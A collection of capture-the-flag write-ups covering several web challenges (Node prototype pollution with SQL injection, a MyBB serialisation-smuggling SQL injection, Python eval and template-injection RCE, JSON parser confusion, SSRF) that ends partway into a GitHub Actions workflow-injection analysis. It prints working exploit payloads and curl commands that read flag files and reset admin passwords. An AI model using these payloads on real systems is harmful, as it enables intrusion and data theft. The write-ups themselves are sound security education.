    app.put('/api/priv/assets/:asset/:action', async (req, res) => {
        const { username } = req.user
        
        const { asset, action } = req.params;
        if (/[^A-z]/.test(asset)) { // [1]
            return res.status(400).send('asset name must be letters only');
        }
        const assetTransactions = transactions[asset] ?? (transactions[asset] = {}); // [2]
        
        const txId = generateId();
        assetTransactions[txId] = action; // [3]
        
        try {
            await makeTransaction(username, txId, asset, action === 'buy' ? 1 : -1); // [4]
            res.json({ id: txId });
        } catch (error) {
            console.error('db error:', error.message);
            res.status(500).send('transaction failed');
        } finally {
            delete assetTransactions[txId];
        }
    });
};

The /api/priv/assets/:asset/:action route accepts 2 path parameters: asset and action. At [1], notice that the regular expression used is flawed: /[^A-z]/.test(asset). Besides uppercase and lowercase alphabets, symbols such as [, \, ], ^, _ and ^ are also accepted.

Carefully tracing the code from [2] to [3], we can see that it is possible to set transactions[asset][txId] = action. One vulnerability class that springs to mind immediately is prototype pollution. If we set asset to __proto__, we can effectively set transactions.__proto__[txId] to the value of action. However, at this point, it is unclear if prototype pollution is useful at all, since we don’t have control over txId (generated integer). Though, it remains somewhat interesting to us since it points to user input (action).

So, let’s just continue tracing the code execution into makeTransaction() at [4], which calls prepare() at [5].

The relevant source code from public/core/db.js is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function sqlEscape(value) {
    switch (typeof value) {
        case 'string':
            return `'${value.replace(/[^\x20-\x7e]|[']/g, '')}'`;
        case 'number':
            return isFinite(value) ? String(value) : sqlEscape(String(value));
        case 'boolean':
            return String(value);
        default:
            return value == null ? 'NULL' : sqlEscape(JSON.stringify(value));
    }
}

function prepare(query, namedParams) {
    let filledQuery = query;

    const escapedParams = Object.fromEntries(
        Object.entries(namedParams) // [6]
              .map(([key, value]) => ([key, sqlEscape(value)]))
    );

    for (const key in escapedParams) { // [7]
        filledQuery = filledQuery.replaceAll(`:${key}`, escapedParams[key]);
    }

    return filledQuery;
}

Observe that the parameters to be escaped are iterated using Object.entries() at [6], whereas the replacement of the parameters with the escaped values are done in a for ... in loop at [7].

According to the documentation for the for ... in statement:

…The loop will iterate over all enumerable properties of the object itself and those the object inherits from its prototype chain (properties of nearer prototypes take precedence over those of prototypes further away from the object in its prototype chain).

Since Object.entries() does not iterate through properties inherited from the prototype chain, transactions.__proto__[txId] = buy set previously is not an escaped property. As such, we can inject ::txId into username such that the following replacement will occur in this manner:

   INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, :amount, :username)
=> INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, -1, :username)
=> INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, -1, '... ::txId')
=> INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, '__proto__', -1, '... ::txId')
=> INSERT INTO transactions (id, asset, amount, username) VALUES (1337, '__proto__', -1, '... :1337')
=> INSERT INTO transactions (id, asset, amount, username) VALUES (1337, '__proto__', -1, '... '), (31337, (select flag from flag), 1, '')

Solution

$ curl http://flu.xxx:20035/api/auth/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"../../../../health?::txId","password":"A"}'
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

$ curl -X PUT http://flu.xxx:20035 \
    -H 'Content-Type: application/json' \
    -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...' \
    --request-target "http://junk/api/priv/assets/__proto__/'),(31337,(select%20flag%20from%20flag),1,'1"
{"id":10868161987435}

$ curl http://flu.xxx:20035/api/transactions/31337 \
    -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...' 
{"id":"31337","username":"1","asset":"flag{finally_i_can_invest_in_js}","amount":1}

NodeNB

Sold (Solves): 45 times
Risk (Difficulty): Low
Seller (Creator): pspaul/SonarSource

This is a guest challenge by SonarSource R&D.
To keep track of all your trading knowledge we wrote a note book app!
https://nodenb.flu.xxx

The goal of the challenge is to access a note containing the flag:

1
2
3
4
5
6
7
8
9
10
...
// init
db.hset('uid:1', 'name', 'system');
db.set('user:system', '1');
db.setnx('index:uid', 1);
db.hmset('note:flag', {
    'title': 'Flag',
    'content': FLAG,
});
...

Without further ado, let’s jump straight to the relevant code in public/src/server.js:

1
2
3
4
5
6
7
8
9
...
app.get('/notes/:nid', ensureAuth, async (req, res) => {
    const { nid } = req.params;
    if (!await db.hasUserNoteAcess(req.session.user.id, nid)) { // [1]
        return res.redirect('/notes');
    }
    const note = await db.getNote(nid);
    res.render('note', { note });
});

There is an access control check at [1]. Let’s look at the definition of hasUserNoteAcess() function in public/src/db.js:

1
2
3
4
5
6
7
8
9
10
11
12
...
async hasUserNoteAcess(uid, nid) {
    if (await db.sismember(`uid:${uid}:notes`, nid)) { // [2]
        return true;
    }
    if (!await db.hexists(`uid:${uid}`, 'hash')) { // [3]
        // system user has no password
        return true;
    }
    return false;
}
...

In hasUserNoteAcess(), we need to make either of the conditions at [2] and [3] true to pass the access control check. Tracing the code further, we find that condition at [2] is not possible to be satisfied since we cannot add our user to the note containing the flag.

Further examining the condition at [3], we find an interesting logic flaw. The condition at [3] assumes that 0 is returned when the hash field does not exists at key uid:${uid}. However, 0 can also be returned if the key does not exist.

Looking at the application functionalities, we find that it is possible to delete your own account.

The relevant code from public/src/server.js is shown below:

1
2
3
4
5
6
7
8
9
10
app.post('/deleteme', ensureAuth, async (req, res) => {
    await db.deleteUser(req.session.user.id);
    req.session.destroy(async (error) => {
        if (error) {
            console.error('deleteme error:', error?.message);
        }
        res.clearCookie('connect.sid');
        res.redirect('/login');
    });
});

The function definition for deleteUser() from public/src/db.js is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
async deleteUser(uid) {
    const user = await helpers.getUser(uid);
    await db.set(`user:${user.name}`, -1);
    await db.del(`uid:${uid}`); // [4]
    const sessions = await db.smembers(`uid:${uid}:sessions`);
    const notes = await db.smembers(`uid:${uid}:notes`);
    return db.del([
        ...sessions.map((sid) => `sess:${sid}`),
        ...notes.map((nid) => `note:${nid}`),
        `uid:${uid}:sessions`,
        `uid:${uid}:notes`,
    ]);
}

Observe that at [4], the key uid:${uid} is being deleted. As such, we can perform a race condition – polling /notes/flag rapidly using Burp Intruder / Race The Web while the deletion of the account is being processed – to leak the flag:

flag{trade_as_fast_as_you_hack_and_you_will_be_rich}

SeekingExploits

Sold (Solves): 11 times
Risk (Difficulty): High
Seller (Creator): aliezey/SonarSource

Are you totally not a government?
Then you are welcome to the SeekingExploits forum, where you can let people know what exploits you are selling!

Run it with:

docker-compose build
HOSTNAME="localhost" FLAG="flag{fakefakefake}" docker-compose up

http://seekingexploits.flu.xxx

The goal of the challenge is to leak the flag from the database. This challenge uses the MyBB (an open source forum software) v1.8.29 (latest version), and installs a custom plugin created for the challenge.

Part 1 - Exploring the E-Market API

Let’s first look at public/mybb-server/exploit_market/emarket-api.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php

// Set some useful constants that the core may require or use
define("IN_MYBB", 1);
define('THIS_SCRIPT', 'my_plugin.php');


// Including global.php gives us access to a bunch of MyBB functions and variables
require_once "./global.php";

function validate_additional_info($additional_info) {
    $validated = array();
    foreach($additional_info as $key => $value) {
        switch ($key) {
            case "reliability": {
                $value = (int)$value;
                if ($value >= 0 && $value <= 100) {
                    $validated["reliability"] = $value;
                }
                break;
            }
            case "impact": {
                $valid_impacts = array("rce", "priv_esc", "information_disclosure");
                if (in_array($value, $valid_impacts, true)) {
                    $validated["impact"] = $value;
                }
                break;
            }
            case "current_bidding":
            case "sold_to": {
                $validated[$key] = (int)$value;
                break;
            }
            default: { // [5]
                $validated[$key] = $value;
            }
        }
    }

    return $validated;
}

...

if($mybb->user['uid'] == '/' || $mybb->user['uid'] == 0) // [1]
{
	error_no_permission();
}

$action = $mybb->get_input("action"); // [2]
if ($action === "make_proposal") { // [3]
    
    
    // validate additional info
    $proposal = array(
        "uid" => (int)$mybb->user['uid'],
        "software" => $db->escape_string($mybb->get_input("software")),
        "latest_version" => $mybb->get_input("latest_version", MyBB::INPUT_BOOL) ? 1 : 0,
        "description" => $db->escape_string($mybb->get_input("description")),
        "additional_info" => $db->escape_string( // [7]
            my_serialize( // [6]
                validate_additional_info( // [4]
                    $mybb->get_input("additional_info", MyBB::INPUT_ARRAY)
                    )
                )
            )
    );
    $res = $db->insert_query("exploit_proposals", $proposal); // [8]

    echo "OK!";

} else if ($action === "delete_proposals") {
    $db->delete_query("exploit_proposals", "uid=" . (int)$mybb->user['uid']);
}

Okay, that’s a lot of code to understand.
Let’s start from [1] – firstly, we need to be logged in to MyBB.
At [2], we see that it takes an an input ($mybb->get_input("action")). We can trace MyBB’s source code to find out how to supply this input, or we can just guess that it finds a GET parameter named action.
At [3], we know that the action parameter must be set to make_proposal if we want to insert an exploit proposal into the database.
At [4], we learn that a GET parameter named additional_info should be supplied as an array. This parameter is then passed to validate_additional_info(), which appears to do strict validation on the array contents for the accepted properties.
However, at [5], it is noted the default statement does not actually validate the key or value before assigning $validated[$key] = $value; – this may be useful to us later on.
At [6], we see that my_serialize() is executed on the $validated array returned by validate_additional_info() – this uses a custom serialisation function built into MyBB that supposedly uses a safer serialisation technique compared to PHP’s native serialize().
At [7], the serialised payload is escaped before proposal is inserted into the database at [8].

It isn’t clear how the code can be exploited yet, so let’s take a look at the other file of interest – public/mybb-server/exploit_market/inc/plugins/emarket.php.

Part 2 - The Vulnerable Plugin

The relevant code from public/mybb-server/exploit_market/inc/plugins/emarket.php is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

// Disallow direct access to this file for security reasons
if(!defined("IN_MYBB"))
{
	die("Direct initialization of this file is not allowed.");
}

$plugins->add_hook("member_do_register_end", "activate_user");

// auto-activate any users that register -- emails can be used to track exploit buyers ;)
function activate_user() {
	...
}

// include the proposals of the user at the end of each PM
$plugins->add_hook("private_read_end", 'list_proposals'); // [1]

// this plugin adds a list of exploit proposals to the end of a PM a user sends
function list_proposals() {
	global $db;
	// this variable contains the PM
	global $message;
	global $mybb;
	global $pm;
	$query = $db->simple_select("exploit_proposals", "*", "uid=" . (int)$pm['fromid']);
    $proposals = array();
    while($proposal = $db->fetch_array($query)) {
        $proposal['additional_info'] = my_unserialize($proposal['additional_info']); // [2]
        
        // resolve the buyer's ID to a username
        if (array_key_exists("sold_to", $proposal["additional_info"])) {
            $user_query = $db->simple_select("users", "username", "uid=" . $proposal["additional_info"]['sold_to']); // [3]
            $buyer = $db->fetch_array($user_query);
            $proposal["buyer"] = $buyer["username"]; // [4]
        }

        array_push($proposals, $proposal);
    }
	if (count($proposals) > 0) {
		$message .= "<b>Their exploit proposals:</b><br />";
	}

	foreach($proposals as $proposal) {
		$message .= "<hr />";
		foreach($proposal as $field => $value) {
			if (is_array($value)) {
				continue;
			}
			$message .= "<b>" . htmlspecialchars($field) . ": </b>";
			$message .= "<i>" . htmlspecialchars($value) . " </i>"; // [5]
		}
	}	
}
...

At [1], we can see that the list_proposal() function is invoked when a private message is read.
At [2], the proposals by the sender is fetched from the database and deserialised using my_unserialize().
At [3], $db->simple_select(tables, fields, where_condition) is executed. Referring to SonarSource’s research on MyBB, it can be seen that concatenating a user input in the where_condition leads to SQL injection – this lets us retrieve the flag from the database.
At [4], we can set $proposal["buyer"] to the value for the username field returned by the SQL query.
At [5], we get to print the value of the flag!

Before we get too excited, recall that $proposal["additional_info"]['sold_to'] is type-casted and coerced to an integer in validate_additional_info(). So, we need find a way to make it such that after deserialising, $proposal["additional_info"]['sold_to'] returns our SQL injection payload somehow.

Digging into MyBB’s Source Code

Let’s revisit some of the steps before the database concatenates user input in there where condition of $db->simple_select().

  1. We can place arbitrary key/values into the proposal, so long as they are unhandled by enter the default statement of the switch statement.
  2. The $validated is serialised using my_serialize()
  3. The serialised payload is escaped using $db->escape_string() before inserting into the database.
  4. The serialised payload is fetched from the database, and deserialised using my_serialize().
  5. $db->simple_select() is called, injecting $proposal["additional_info"]['sold_to'] into where condition.

It seems that we need to dig into MyBB’s source code to look for a flaw!

Both my_serialize() and my_deserialize() changes the internal encoding to ASCII prior to serialising/deserialising before converting it back to the original internal encoding used, but no apparent parser differentials could be found in the two functions.

Let’s move on to look at $db->escape_string() function. It is defined in multiple classes, but we should look into inc/db_mysqli.php since php-mysqli is installed on the server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function escape_string($string)
{
    if($this->db_encoding == 'utf8')
    {
        $string = validate_utf8_string($string, false);
    }
    elseif($this->db_encoding == 'utf8mb4')
    {
        $string = validate_utf8_string($string);
    }

    if(function_exists("mysqli_real_escape_string") && $this->read_link)
    {
        $string = mysqli_real_escape_string($this->read_link, $string);
    }
    else
    {
        $string = addslashes($string);
    }
    return $string;
}

Interestingly, we see that there is special handling for utf8 and utf8mb4 database encoding. Since the application uses utf8 for the database encoding, let’s look at what validate_utf8_string($string, false) does:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/*
 * Validates an UTF-8 string.
 *
 * @param string $input The string to be checked
 * @param boolean $allow_mb4 Allow 4 byte UTF-8 characters?
 * @param boolean $return Return the cleaned string?
 * @return string|boolean Cleaned string or boolean
 */
function validate_utf8_string($input, $allow_mb4=true, $return=true)
{
    // Valid UTF-8 sequence?
    if(!preg_match('##u', $input))
    {
        ...
    }
    if($return) // [1] - $return defaults to true
    {
        if($allow_mb4) // [2] - $allow_mb4=false 
        {
            return $input;
        }
        else
        {
            return preg_replace("#[^\\x00-\\x7F][\\x80-\\xBF]{3,}#", '?', $input); // [3]
        }
    }
    else
    {
        if($allow_mb4)
        {
            return true;
        }
        else
        {
            return !preg_match("#[^\\x00-\\x7F][\\x80-\\xBF]{3,}#", $input);
        }
    }
}

This function appears to replace multibyte characters found at [3]! In other words, if the serialised payload to be escaped contains multibyte characters, they will be replaced with a single ?. Since my_deserialize() relies on the length field for each serialised field/value, invoking my_deserialize() on a serialised payload escaped using $db->escape_string() causes incorrect interpretation of the boundaries. This effectively allows us to smuggle sold_to key mapped to a SQL injection payload when deserialising the additional_info array.

Here’s a visualisation of the serialised payload and its transformation.

// $mybb->get_input("additional_info", MyBB::INPUT_ARRAY)
php > $additional_info = array();
php > $additional_info["a"] = str_repeat("\x80", 17); // matches the regex used in preg_replace() 
php > $additional_info["b"] = '";s:7:"sold_to";s:59:"0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --';
php > $payload = validate_additional_info($additional_info);

php > echo my_serialize($payload);
a:2:{s:1:"a";s:17:"�����������������";s:1:"b";s:81:"";s:7:"sold_to";s:59:"0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --";}

php > echo $db->escape_string(my_serialize($payload));
a:2:{s:1:\"a\";s:17:\"?\";s:1:\"b\";s:81:\"\";s:7:\"sold_to\";s:59:\"0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --\";}

Note that the backslashes are only used to escape " when inserting into the database, and are not actually present in the serialised payload stored in the database.

php > $serialized_payload_from_db = stripslashes($db->escape_string(my_serialize($payload)));
php > echo $serialized_payload_from_db;
a:2:{s:1:"a";s:17:"?";s:1:"b";s:81:"";s:7:"sold_to";s:59:"0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --";}

php > echo print_r(my_unserialize($serialized_payload_from_db), true)
Array
(
    [a] => ?";s:1:"b";s:81:"
    [sold_to] => 0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --
)

We successfully abused $db->my_escape() to tamper with the serialised payload, such that when the payload is deserialised, $proposal["additional_info"]['sold_to'] contains the SQL injection payload.

Solution

Register an account on MyBB and login, then execute the following command to trigger the insertion of the proposal into the database.

$ curl -G http://seekingexploits.flu.xxx/emarket-api.php \
    --cookie 'mybbuser=...' \
    -d 'action=make_proposal' \
    -d 'software=a' \
    -d 'latest_version=true' \
    -d 'description=b' \
    -d 'additional_info[a]=%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80' \
    -d 'additional_info[b]=%22;s:7:%22sold_to%22;s:59:%220%20AND%201=0%20UNION%20SELECT%20usernotes%20from%20mybb_users%20limit%201%20--'
OK!

Then, send a private message to yourself and view the private message to trigger the SQL injection:

Their exploit proposals:
pid: 13 uid: 37 software: a description: b latest_version: 1 buyer: flag{peehaarpeebeebee}

It’s been a while since I last played in any CTF, and somehow I ended up playing in 3 concurrent CTFs last weekend – BSides Noida CTF, Defcon Cloud Village CTF, and RarCTF. I ended up working on and solving ~15 challenges total! :exploding_head:

Here’s a summary of the CTF results:

It was a great team effort in achieving such results :)

In this writeup, I will focus solely on the Microservices As A Service (MAAS) challenge from RaRCTF.

Introduction

Microservices As A Service (MAAS) is designed to be a 3-part challenge, but 2 additional parts were added during the competition to (somewhat) address the unintended solutions. Since there is an official writeup, I will only discuss the intended solutions and alternative solutions here.

MAAS consists of 3 microservices – Calculator, Notes, and Manager. The mapping of challenges and microservices are as follows:

  • MAAS 1 - Calculator
  • MAAS 2 - Notes
  • MAAS 2.5 - Notes (Fix for MAAS2)
  • MAAS 3 - Manager
  • MAAS 3.5 - Manager (Fix for MAAS3)

MAAS 1 - Calculator

Let’s jump straight to the source code for the calculator microservice:

@app.route('/arithmetic', methods=["POST"])
def arithmetic():
    if request.form.get('add'):
        r = requests.get(f'http://arithmetic:3000/add?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('sub'):
        r = requests.get(f'http://arithmetic:3000/sub?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('div'):
        r = requests.get(f'http://arithmetic:3000/div?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('mul'):
        r = requests.get(f'http://arithmetic:3000/mul?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    result = r.json()
    res = result.get('result')
    if not res:
        return str(result.get('error'))
    try:
        res_type = type(eval(res, builtins.__dict__, {})))
        if res_type is int or res_type is float:
            return str(res)
        else:
            return "Result is not a number"
    except NameError:
        return "Result is invalid"

Clearly, having some user-controlled input to eval() allows execution of arbitrary code and leaking of the flag. The /add endpoint simply returns the concatenation of n1 and n2 parameters as strings, allowing us pass a user-controlled input to eval().

If we want to leak the flag directly, we could replace res local variable with the flag such that when the microservice returns the result to the frontend app, we are able to see the flag. However, notice that for the eval(), globals were restricted to builtins.__dict__, and we are unable to access local variables as well.

With access to builtins, we can import arbitrary Python modules using __import__("package_name") and read arbitrary files using open("filename", "r").read(). This allows for a blind exfiltration of the flag, either using a boolean-based (e.g. comparison) or time-based (e.g. using time.sleep()) technique.

A time-based blind exfiltration of the flag can be performed by ensuring that the following string is passed to eval():

exec('''
sleep = __import__("time").sleep
flag = open("/flag.txt", "r").read()
current_char = flag[0] # replace index accordingly
sleep(ord(current_char))
''')

Or, you can also using a comparison-based method to leak characters of the flag one-by-one in the reference solution:

1 if open('/flag.txt', 'r').read()[0] == 'r' else None

But, such blind exfiltration techniques are pretty slow and sometimes unreliable, so let’s just leak the entire flag directly. One possible way to do so is to add a @app.after_request handler to the microservice, intercepting our response and adding the flag to our request.

Here’s an example of how we would have written the code if we were to implement such a handler in the application directly:

@app.after_request
def after_request_func(response):
    if b"res must contain this secret sentence to get flag :)" in response.data:
        response.data = open("/flag.txt","r").read()
    return response

Since we do not have access to global variables, we need to obtain a reference of the app somehow. We can easily get a reference to the current Flask app via flask.current_app.

Putting everything together, this was the payload I used to get the flag:

n1:
[1337,exec('app = __import__("flask").current_app\n@app.after_request\ndef after_request_func(response):\n    if b"res must contain this secret sentence to get flag :)" in response.data:\n        response.data = open("/flag.txt","r").read()\n    return response')]

n2:
[0]

Flag: rarctf{0v3rk1ll_4s_4_s3rv1c3_3fca0faa}

MAAS 2 - Notes

Below is the relevant vulnerable code for the notes backend microservice:

@app.route('/useraction', methods=["POST"])
def useraction():
    mode = request.form.get("mode")
    username = request.form.get("username")
    if mode == "register":
    ...
    elif mode == "bioadd":
        bio = request.form.get("bio")
        bio.replace(".", "").replace("_", "").\
            replace("{", "").replace("}", "").\
            replace("(", "").replace(")", "").\
            replace("|", "")

        bio = re.sub(r'\[\[([^\[\]]+)\]\]', r'', bio)
        red = redis.Redis(host="redis_users")
        port = red.get(username).decode()
        requests.post(f"http://redis_userdata:5000/bio/{port}", json={
            "bio": bio
        })
        return ""
    elif mode == "bioget":
        red = redis.Redis(host="redis_users")
        port = red.get(username).decode()
        r = requests.get(f"http://redis_userdata:5000/bio/{port}")
        return r.text
    ...

@app.route("/render", methods=["POST"])
def render_bio():
    data = request.json.get('data')
    if data is None:
        data = {}
    return render_template_string(request.json.get('bio'), data=data)

Here, we can see that there’s a server-side template injection (SSTI) vulnerability in /render, where we can render the bio of a user. However, we cannot reach this endpoint directly – we can only access this endpoint through the frontend application, which calls /useraction with bioget mode to fetch the user’s bio and then rendering it via /render.

Interestingly, the denylist implementation in bioadd mode is flawed:

bio = request.form.get("bio")
bio.replace(".", "").replace("_", "").\
    replace("{", "").replace("}", "").\
    replace("(", "").replace(")", "").\
    replace("|", "")

Notice that the resulting string after replacing the banned characters is not actually being assigned to bio. This means that we can use any SSTI payloads directly to achieve RCE/arbitrary file read to leak the flag!

To get the flag, we can simply register a user and then update the user’s bio with the following SSTI payload:

{{ _.__eq__.__func__.__globals__.__builtins__.open('/flag.txt').read() }}

Flag: rarctf{wh4t_w4s_1_th1nk1ng..._60a4ee96}

MAAS 2.5 - Notes (Fixed)

Of course, the above solution was an unintended one. The fix was to assign the resulting replacement string back to bio variable.

I actually solved MAAS 2 with the intended solution for MAAS 2.5 before realising the mistake in the bioadd implementation. :man_facepalming:

The only redeeming factor was that I got a first blood :drop_of_blood: on this challenge! :rofl:

The solution I got for this fixed challenge is as per the reference solution – using the Redis migration to override the port of our user to ../bio/ so that we can override the server-side request path to put the SSTI payload in the bio when adding a new key following the migration.

Flag: rarctf{.replace()_1s_n0t_1n_pl4c3...e8d54d13}

MAAS 3 - Manager

Below is the relevant vulnerable code for the app frontend:

@app.route("/manager/update", methods=["POST"])
def manager_update():
    schema = {"type": "object",
              "properties": {
                  "id": {
                      "type": "number",
                      "minimum": int(session['managerid'])
                  },
                  "password": {
                      "type": "string",
                      "minLength": 10
                  }
              }}
    try:
        jsonschema.validate(request.json, schema)
    except jsonschema.exceptions.ValidationError:
        return jsonify({"error": f"Invalid data provided"})
    return jsonify(requests.post("http://manager:5000/update",
                                 data=request.get_data()).json())

The manager backend microservice then relays the JSON data to a Golang backend service.

@app.route("/update", methods=["POST"])
def update():
    return jsonify(requests.post("http://manager_updater:8080/",
                                 data=request.get_data()).json())

It can be seen that the request.get_data() (i.e. the raw request body) instead of request.json (i.e. the parsed JSON object) is being passed to the backend Golang backend service instead. If you have read BishopFox Labs’ article on JSON interoperability vulnerabilities, you will recognise that this can easily introduce inconsistencies in parsing JSON, which leads to unintended behaviours in application flows. In Flask, the parsing of request body as JSON ignores duplicated keys, keeping the last value in the resulting JSON object. But, in the Golang backend service using buger/jsonparser, the first value is returned instead.

If our manager ID is 2, we can send a POST request to /manager/update with the following request body:

{"id":0,"id":2,"password":"some_difficult_password_that_is_hard_for_others_to_guess"}

This bypasses the frontend validation, which sees that the minimum ID value accepted is the last id value – 2. But, on the Golang backend service, it updates the password for manager ID 0 instead!

As a result, we can simply log in as admin with the password we set above to obtain the flag.

Flag: rarctf{rfc8259_15_4_b1t_v4gu3_1a97a3d3}

MAAS 3.5 - Manager (Fixed)

Naturally, the above solution was the intended solution, so copy-pasting the same solution from above works for MAAS 3.5.

Sadly, this challenge was pretty much broken even after the fixed version was released. They simply shifted the JSON validation checks from the app frontend to the manager backend service, but that didn’t fully prevent unintended solutions either.

So what went wrong? Well, looking at the docker-compose.yml file provided, it can be observed that network segregation is not done correctly:

version: "3.3"
services:
  app:
    build: app
    ports:
      - "5000:5000"
    depends_on: ["calculator", "notes", "manager"]
    networks:
      - public
      - level-1

  calculator:
    build: calculator
    depends_on: ["checkers", "arithmetic"]
    networks:
      - level-1
      - calculator-net
  checkers:
    build: calculator/checkers
    networks:
      - calculator-net
  arithmetic:
    build: calculator/arithmetic
    networks:
      - calculator-net

  notes:
    build: notes
    depends_on: ["redis_users", "redis_userdata"]
    networks:
      - level-1
      - notes-net
  redis_users:
    image: library/redis:latest
    networks:
      - notes-net
  redis_userdata:
    build: notes/redis_userdata
    networks:
      - notes-net

  manager:
    build: manager
    depends_on: ["manager_users", "manager_updater"]
    networks:
      - level-1
      - manager-net
  manager_users:
    image: library/redis:latest
    networks:
      - manager-net
  manager_updater:
    build: manager/updater
    networks:
      - level-1
      - manager-net

networks:
    public:
        driver: bridge
    level-1:
        driver: bridge
        internal: true
    calculator-net:
        driver: bridge
        internal: true
    notes-net:
      driver: bridge
      internal: true
    manager-net:
      driver: bridge
      internal: true

Notice that the manager_updater Golang service is in both manager-net and level-1 networks. Since calculator and notes are also in level-1 network, we can leverage the arbitrary code execution in calculator or SSTI in notes microservice to perform SSRF, allowing us to perform password update on the admin account using the manager_updater Golang service.

This unintended solution works even with the fixed version of manager, so you didn’t need to know about the JSON interoperability vulnerabilities and could still solve it anyways. :joy:

We can simply use the eval() RCE in calculator microservice to change the admin password, and then log in as admin with the password set to obtain the flag:

[1337,exec('''__import__("requests").post("http://manager_updater:8080/",data='{"id":0,"password":"some_difficult_password_that_is_hard_for_others_to_guess"}')''')][0]

Flag: rarctf{k33p_n3tw0rks_1s0l4t3d_lol_ef2b8ddc}

The GitHub Capture-the-Flag - Call to Hacktion concluded in March 2021, and I was pleasantly surprised to be the first person to complete the challenge! I was intending to do a short writeup on the challenge back then, but the official writeup by GitHub had already explained the vulnerabilities and the solution.

There were some parts which I did not fully understood even after solving the challenge, and I want to take this chance to revisit some of the missed steps. I will also discuss a bug which I chanced upon while performing this deep-dive analysis. Hopefully this article helps to provide deeper insights into the internals of GitHub Actions and explain the whole exploit chain in detail, as well as raise awareness about the dangers of logging untrusted inputs in GitHub Actions.

Introduction

Call to Hacktion is a CTF hosted by GitHub Security Lab that ran from 17 March 2021 to 21 March 2021. The challenge is to exploit a vulnerable GitHub Actions workflow in a player-instanced private repository. Contestants are given read-only access to the repository, and the goal is to exploit the vulnerable workflow to overwrite README.md on the main branch to prove that the contestant had successfully obtained write privileges to the repository (i.e. read-only access -> privilege escalation -> read-write access).

Vulnerable Workflow Analysis

Without further ado, let’s jump straight into the vulnerable workflow (.github/workflows/comment-logger.yml) in the player-instanced challenge repository:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
name: log and process issue comments
on:
  issue_comment:
    types: [created]

jobs:
  issue_comment:
    name: log issue comment
    runs-on: ubuntu-latest
    steps:
      - id: comment_log
        name: log issue comment
        uses: actions/github-script@v3
        env:
          COMMENT_BODY: ${{ github.event.comment.body }}
          COMMENT_ID: ${{ github.event.comment.id }}
        with:
          github-token: "deadc0de"
          script: |
            console.log(process.env.COMMENT_BODY)
            return process.env.COMMENT_ID
          result-encoding: string
      - id: comment_process
        name: process comment
        uses: actions/github-script@v3
        timeout-minutes: 1
        if: ${{ steps.comment_log.outputs.COMMENT_ID }}
        with:
          script: |
            const id = ${{ steps.comment_log.outputs.COMMENT_ID }}
            return ""
          result-encoding: string

If you have been following GitHub Security Lab’s research articles, you may have came across this article by Jaroslav Lobacevski on code/command injection in workflows. Essentially, it is not recommended to use GitHub Actions expression syntax referencing potentially untrusted input in inline scripts, as this can easily lead to code/command injections. On line 30 – const id = ${{ steps.comment_log.outputs.COMMENT_ID }}, it can be seen that a GitHub Actions expression that references an output from a previous job step is being used directly within the inline script. This looked suspicious, and code injection may be possible if the expression value can be controlled by an adversary.

Let’s move on to examine the referenced job step (comment_log) and determine how code injection could be achieved:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
- id: comment_log
  name: log issue comment
  uses: actions/github-script@v3
  env:
    COMMENT_BODY: ${{ github.event.comment.body }}           // attacker-controlled data
    COMMENT_ID: ${{ github.event.comment.id }}               // safe numerical ID generated by GitHub
  with:
    github-token: "deadc0de"
    script: |
      console.log(process.env.COMMENT_BODY)                  // untrusted input logged to standard output!
      return process.env.COMMENT_ID                          // safe value returned
    result-encoding: string
- id: comment_process
  name: process comment
  uses: actions/github-script@v3
  timeout-minutes: 1
  if: ${{ steps.comment_log.outputs.COMMENT_ID }}            // if this output is set from previous job
  with:
    script: |
      const id = ${{ steps.comment_log.outputs.COMMENT_ID }} // fill output value here!
      return ""
    result-encoding: string

Here, the actions/github-script@v3 action is being used. Basically, this action accepts a script argument passed using with: in the workflow file and executes it, allowing easy access to GitHub API and workflow run context. Notice that the comment body is being logged to standard output in the inline script – the attacker controlled data (comment body) ends up being printed to standard output! Using a feature of GitHub Actions known as workflow commands, the action can interact with the Actions runner. It works by parsing the output of the execution step and handling any commands denoted by any output line starting with :: after trimming leading whitespaces.

This means that when an output line such as ::set-output name=[name]::[value] is being logged, it would be possible to access the output value using ${{ steps.[job_id].outputs.[name] }}. In the vulnerable workflow above, it can be seen that it would be possible for an adversary to set ${{ steps.comment_log.outputs.COMMENT_ID }} such that it leads to a code injection in the comment_process step.

